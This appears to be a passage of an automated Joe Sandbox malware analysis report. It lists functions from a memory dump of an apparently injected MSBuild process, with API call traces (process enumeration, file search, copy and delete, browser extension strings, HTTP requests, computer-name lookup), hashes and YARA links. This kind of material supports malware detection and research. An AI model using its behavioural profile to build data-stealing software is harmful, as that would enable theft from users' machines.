Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,01354E10), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01340578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01340578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406E94, 00406E5E, 00406DAE, 00406EAF, 00406DD2

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,01355580), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01354D30,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01354E80), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,01356400,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,01356178), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6C503060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C503095

Part of subcall function 6C5035A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
Part of subcall function 6C5035A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
Part of subcall function 6C5035A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
Part of subcall function 6C5035A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
Part of subcall function 6C5035A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
Part of subcall function 6C5035A0: __aulldiv.LIBCMT ref: 6C5036E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50309F

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
